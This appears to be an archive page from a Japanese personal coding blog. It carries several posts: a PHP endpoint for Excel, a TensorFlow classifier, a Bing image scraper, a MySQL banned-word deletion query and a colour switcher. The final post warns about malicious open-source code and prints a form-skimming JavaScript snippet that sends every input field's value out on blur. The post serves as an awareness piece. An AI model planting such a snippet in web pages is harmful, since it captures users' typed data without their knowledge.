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array, as, data, defence, foreach, function, gt, htmlspecialchars, if, is, key, lt, Mr, php, quot, ROBOT, strip, tags, value, xss, インシデント, コード, それ, 今日, 仕事, 動画, 嘘, 失念, 所, 昔, 東京, 深夜便, 私, 穴, 緊急, 脆弱性, 色々, 若気, 記事,
Excel(API)の関数WEBSERVICEの作り方と考え方。
2022.09.01
おはようございます。昨日の雷はかなりヒヤヒヤドキドキものでした😭(パソコンが壊れるのではないかと)。
さて、本日は巷で流行っているExcel(API)の関数WEBSERVICEの作り方と考え方です。考え方はURLにパラメーター付きの値を渡して返却した値を受け取るという考え方です。多分、このサイトを訪れた方は返却処理を自作したいと考えている方だと思います。
返却処理を自作したい場合はローカルサーバーもしくは、レンタルサーバーが必要になります。
また、WEBサーバーでphpやPythonなどの言語が動作する環境が必要になります。尚、レンタルサーバーの場合、最安値のサーバーでもPHPは動作します。例えばさくらレンタルサーバーライト版でも動作します。そういう環境下でPHP言語やPython言語を動作出来るスキルがまず前提条件で必要です。
それが出来る方は下記のサンプルコードの意味が理解出来ると思います、APIと言っても簡単です。受け取ったパラメーター(GET値)を内部で処理しているだけです。クロスドメインエラーを回避する記述を先頭行に書き、その後はGET値からご自身が処理したいコードを記載し最後に結果をprintで出力しているだけです。
<?php
//すべてのドメインからのリクエストを許可
header("Access-Control-Allow-Origin: *");
$first = strip_tags($_GET["first"]) ? strip_tags($_GET["first"]) : "";
$last = strip_tags($_GET["last"]) ? strip_tags($_GET["last"]) : "";
$word = $first . strip_tags($_GET["word"]) . $last;
print $word;
社内にシステムエンジニア(SE)部門がある方は、処理してほしい内容を依頼してみてはどうでしょうか。恐らく承諾してくれると思います。出来ないSEはいないと思います…🤔。
著者名 @taoka_toshiaki
※この記事は著者が40代前半に書いたものです.
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$last, Excel, FIRST, lt, php, print, Python, quot, quot;Access-Control-Allow-Origin, quot;first", quot;last", quot;word", strip_tags, Word, クロスドメインエラー, パラメーター, レンタルサーバー, ローカルサーバー, 許可 header, 関数WEBSERVICE,
TensorFlow(テンソルフロー)で画像分類させたら車も人の顔って😇
2022.08.07
こんにちは、今日もまだ呟くこともしないで日が暮れるかもです。
今日は機械学習で画像分類させることを昨日からゴニョゴニョとしていて、やっとこさ自作のモデルから判定することが出来たのですが、あまり精度が良くないので正直な所、残念です。もっと精度の良いものを作れれば良いのになって思いますが、今の力量ではココらへんですね。
因みにココから画像判別の精度を上げるためにはコードをある程度、作り込まないといけないです。あとはデータ量ももう少し多くのデータが必要です。今回作っていてPythonもなかなか面白いなってね感じました。そして結構、書きやすいなとも思ったのですが、まだまだゴリゴリとコードをPythonで書けるわけではないので、もっと勉強しないとなって事です。
Python言語は結構人気だし、機械学習は花形なんですよ。そういう言語を自在に使えるようになりたいなって思います、そしてPHPやJSなどやフレームワークもゴニョゴニョと絵の具のように思い通り使いたいなって未だに思います。知れば知るほど未だまだ勉強で、おそらくコード書きは引退しても学び続けるだろうなって思います。
import numpy as np
import tensorflow as tf
import tensorflow_hub as hub
import PIL.Image
tf.get_logger().setLevel("ERROR")
def preprocess_image(image_path):
image = PIL.Image.open(image_path).convert("RGB").resize((150,150))
image = np.array(image) / 255
image = np.expand_dims(image, 0)
return image
def test_model(imgurl):
image_path = imgurl
model_file_name='human_or.h5'
labels = ["human","dogs"]
model = tf.keras.models.load_model(model_file_name, custom_objects={"KerasLayer": hub.KerasLayer})
predictions = model.predict(preprocess_image(image_path))
print("検証 %s 人の顔である確率 %3d%%" %(image_path,int(predictions[0][0]*100)) )
test_model("ai_image_test\\test1.jpg.webp")
test_model("ai_image_test\\test2.jpg.webp")
test_model("ai_image_test\\test3.jpg.webp")
test_model("ai_image_test\\test4.jpg.webp")
test_model("ai_image_test\\test5.jpg.webp")
test_model("ai_image_test\\test6.jpg.webp")
https://taoka-toshiaki.com/ML/human_or.zip ←モデル
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array, convert, custom_objects, expand_dims, get_logger, hub.KerasLayer, image, imgurl, int, labels, model, predictions, print, quot, resize, setLevel, フレームワーク, 力量, 絵の具, 花形,
pythonで画像ダウンロードしたいなら。コレでよし🤔
2022.08.06
こんにちは、日が暮れて夕方になってしまいましたね?…本日の更新です😌。
今日は機械学習(tensorflow)の為の画像を集めをしていたました。画像を集めるのが面倒くさくて昔、ダウンロード用のソフトを自前で作っていたのだけど、その自前のソフトをいつの間にか消し去っていた為、再度Pythonで作り直しました。
作ったのですが、これは即席なダウンロードソフトなので完璧なものではないです。50枚~300枚の画像をダウンロード出来ます。そのダウンロードした画像を水回しして機械学習の画像分類に使用しているのですが、学習精度があまり良くないのが明日の課題。
人工知能に学習させる方法にはいろいろな方法があります。それらを上手く使えばもっと効率よく学習出来るみたいですが、そもそもPythonも普段から使用しないので手探り状態です。
もっと綺麗なコードを書けると思いますが…。
トイウコトデ、コードを記載しときますね、このコードはbingサイトで画像ダウンロードするために作られたものです。機械学習しているコードではありません。
from functools import cache
import time
import requests
import os
from selenium import webdriver
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.by import By
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.options import Options
options = Options()
# download_path = 'C:\python\images\face'
# options.add_experimental_option("prefs", {"download.default_directory": download_path})
# driver = webdriver.Chrome(ChromeDriverManager().install(), options=options)
driver = webdriver.Chrome(ChromeDriverManager().install())
driver.get("https://www.bing.com/images/search?q=顔&form=HDRSC2&first=1&tsc=ImageHoverTitle")
driver.set_window_size(945, 1012)
time.sleep(3)
sl = 700
for i in range(30):
driver.execute_script("window.scrollTo(0," + str(sl) + ")")
time.sleep(3)
sl = sl + 700
img = []
for x in range(10):
for y in range(100):
try:
txt = driver.find_element(By.XPATH,"//*[@id=\"mmComponent_images_2\"]/ul[" + str(int(y +1 )) +"]/li[" + str(int(x +1 )) +"]/div/div[1]/a").get_attribute("m")
hoge = str(txt).split(",")
#print(hoge)
img.append([s for s in hoge if "murl" in s])
except:
print("errors not image")
driver.quit()
file_dir = "C:\\python\\images\\face\\"
for imgdata in img:
url = str(imgdata).split(":")[1] + ":" + str(imgdata).split(":")[2]
url = url.replace('"',"").replace("']","")
print(url)
try:
urlData = requests.get(url).content
with open(os.path.join(file_dir,os.path.basename(url)),'wb') as f:
f.write(urlData)
except:
print("errors not Download")
著者名 @taoka_toshiaki
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ChromeDriverManager, driver, driver.get, driver.quit, except, img.append, imgdata, options, print, quot, replace, scrollTo, selenium.webdriver.support.wait, sl, sleep, tensorflow, time.sleep, ul, urlData, トイウコトデ,
投稿された内容を検索してNGワードがある行を削除するMYSQL文
2022.07.28
おはよう御座います。ココの所、寝不足気味でしたが昨日はかなり早めから睡眠を取り今は快適です😌。
さて、投稿された内容を検索してNGワードがある行を削除するMYSQL文を作りましたので昨日、Qiitaで公開しました。反響はまぁまぁです、とは言えいいね等は今のところされていません。公開したMYSQL文をこちらでも公開しておきますのでご自由にお使いいただけと思っております。
DELETE T FROM Test AS T inner join
(select id from Test,words where txt REGEXP CONCAT ("(",word,")") GROUP BY id Order by id DESC)
AS NG ON T.id = NG.id WHERE T.id = NG.id;
作った経緯は自分が作ったサービスに荒らしがたまに現れるようになった事です、それをいちいち確認して削除するのは面倒なので、こういうSQL文を作成したわけです、若干、処理は遅いものの削除してくれるので良いかなって思っています。
本音を言えばQiitaに掲載すれば手直ししてくれる人が現れるかなって若干期待していましたが、今のところいません。もしこの記事を読んでもっと良い方法があるという方は是非、コメント等頂ければ幸いです。
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AS NG, DELETE T FROM Test AS T inner join, ID, MYSQL文, NG.id WHERE, NGワード, ON T.id, qiita, quot, REGEXP CONCAT, select id from Test, SQL文, where txt, Word, words, ココ, 反響, 本音, 睡眠, 経緯, 若干,
タイトルの下に背景色を変える■を追加しました。
2022.07.22
おはようございます、背景色を変える■を追加しました。四角をクリックすると背景色が変わります、ソースコードは下記になります。取り分けて難しくないソースコードになると思いますが、少しだけ解説をします。このソースコードはスタイルシートの記述(ファイルなど)を読み込んでバックグラウンドカラーの一部のカラーだけを任意のカラーに置き換えています。
let htmlcode = `
<span class='color_code' style='color:#262a2e' data-color-code='#262a2e'>■</span>
<span class='color_code' style='color:#192734' data-color-code='#192734'>■</span>
<span class='color_code' style='color:#1c483b' data-color-code='#1c483b'>■</span>
<span class='color_code' style='color:#bf7800' data-color-code='#bf7800'>■</span>
<span class='color_code' style='color:#83094f' data-color-code='#83094f'>■</span>
`;
let old_color = "#262a2e";
document.getElementById("site_description").insertAdjacentHTML("afterend", htmlcode);
let ColorCodeObject = document.querySelectorAll(".color_code");
for (const key in ColorCodeObject) {
if (Object.hasOwnProperty.call(ColorCodeObject, key)) {
const element = ColorCodeObject[key];
element.addEventListener("click", function (element) {
for (let ii = 0; ii < document.styleSheets.length; ii++) {
if (String(document.styleSheets[ii].href).match(/mag_tcd036-child\/style\.css\?ver=/)) {
for (let i = 0; i < document.styleSheets[ii].cssRules.length; i++) {
let element_css_code = document.styleSheets[ii].cssRules[i];
let rgbfn = function(hex){
let red = parseInt(hex[1]+hex[2],16);
let green = parseInt(hex[3]+hex[4],16);
let blue = parseInt(hex[5]+hex[6],16);
return `rgb(${red}, ${green}, ${blue})`;
};
try {
if (element_css_code.style.backgroundColor === rgbfn(old_color)) {
//console.log(rgbfn(old_color));
element_css_code.style.backgroundColor = rgbfn(ColorCodeObject[key].getAttribute("data-color-code"));
}
} catch (error) {
//console.log("not backgroundColor");
}
}
old_color = ColorCodeObject[key].getAttribute("data-color-code");
}
}
});
}
}
ソースコードも上から下へ進む感じで読んでいただけたら、読めるはずです。尚、躓く箇所といえば16進数でスタイルシートに記述しているものもRGBで格納されている所ですね。ここの比較が「えっ」って感じになるぐらいでしょうか。あとはそれ程、難しくないソースコードだと自負しております😌。
この頃、jqueryを触らなくなって悲しいかな仕様を半分ぐらい忘れております。やはりコードは毎日書くべきかなって思います。
著者名 @taoka_toshiaki
※この記事は著者が40代前半に書いたものです.
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高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
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backgroundColor, catch, ColorCodeObject, cssRules, document.getElementById, element, getAttribute, hex, htmlcode, Ii, insertAdjacentHTML, jquery, match, parseInt, querySelectorAll, quot, RGB, rgbfn, string, styleSheets,
githubにはgistってのがある。ソースコードを貼り付けるやつこの頃見かけるようになったね!!
2022.07.21
おはようございます。これからはgistを使用しソースコードの共有していきます。
document.getElementById("test-code").insertAdjacentHTML("afterbegin",function(a){
return "<h1>" + a + "</h1>";
}("test-code"));
そしてこのブログの立ち位置、個人の見解という所は変わらないですが、クローズドからオープンなスタイルで書いていくという考えだけは変わります。昔の記事を見返すと何を書いているのかと思う記事もあるものの、あまり真の部分は変わっていないなというのは、見返して思う所があります。
特に人を批判するような記事は書いていないと思うのでそのままで行こうと思っています。記事を読んでどう思うかは人それぞれです、ですので消さないで蓄積していこうと思っています。
有名なYOUTUBERさんを見ると過去の動画を今でもそのまま残している人は多くいると同じ感覚で、たまに読み返してみると青いなって思う反面、今の自分より弁が立つところもあったりして自分で頑張ろうって思うこともあります。
ブログに記載してある過去のソースコードも移植出来ればしていこうと思っていますので、プログラミングに興味のある方は参照くださいな😌。
では、これからもよろしくお願い致します🙇。
著者名 @taoka_toshiaki
※この記事は著者が40代前半に書いたものです.
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"afterbegin", A`, document.getElementById, function, gist, h1>, insertAdjacentHTML, lt, quot, quot;test-code", return, YOUTUBERさん, クローズド, ソースコード, プログラミング, 反面, 弁, 真, 立ち位置, 見解,
悪意になるコードそうだよねぇ~オープンソース怖い。
2022.06.01
おはようございます。6月が始まりました。
今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。
こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。
コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。
気をつけてくださいな😎
(function(){
const doc = document.querySelectorAll("input");
doc.forEach((e,k,p)=>{
p[k].addEventListener("blur",(e)=>{
var data = {};
data["name"] = e.target.name;
data["value"] = e.target.value;
send1(data);
});
});
})();
function send1(data){
var xhr = new XMLHttpRequest();
xhr.open("GET", "/?${data.name}=${data.value}", true);
xhr.onload = function (e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
console.log(xhr.responseText);
} else {
console.error(xhr.statusText);
}
}
};
xhr.onerror = function (e) {
console.error(xhr.statusText);
};
xhr.send(null);
}
著者名 @taoka_toshiaki
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6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, 事, 今回, 今日, 信頼性, 公式, 公開, 前, 動画, 実装, 必要, 悪意, 次第, 気, 注意, 無料, 確認, 自ら, 通り, 配布, 題,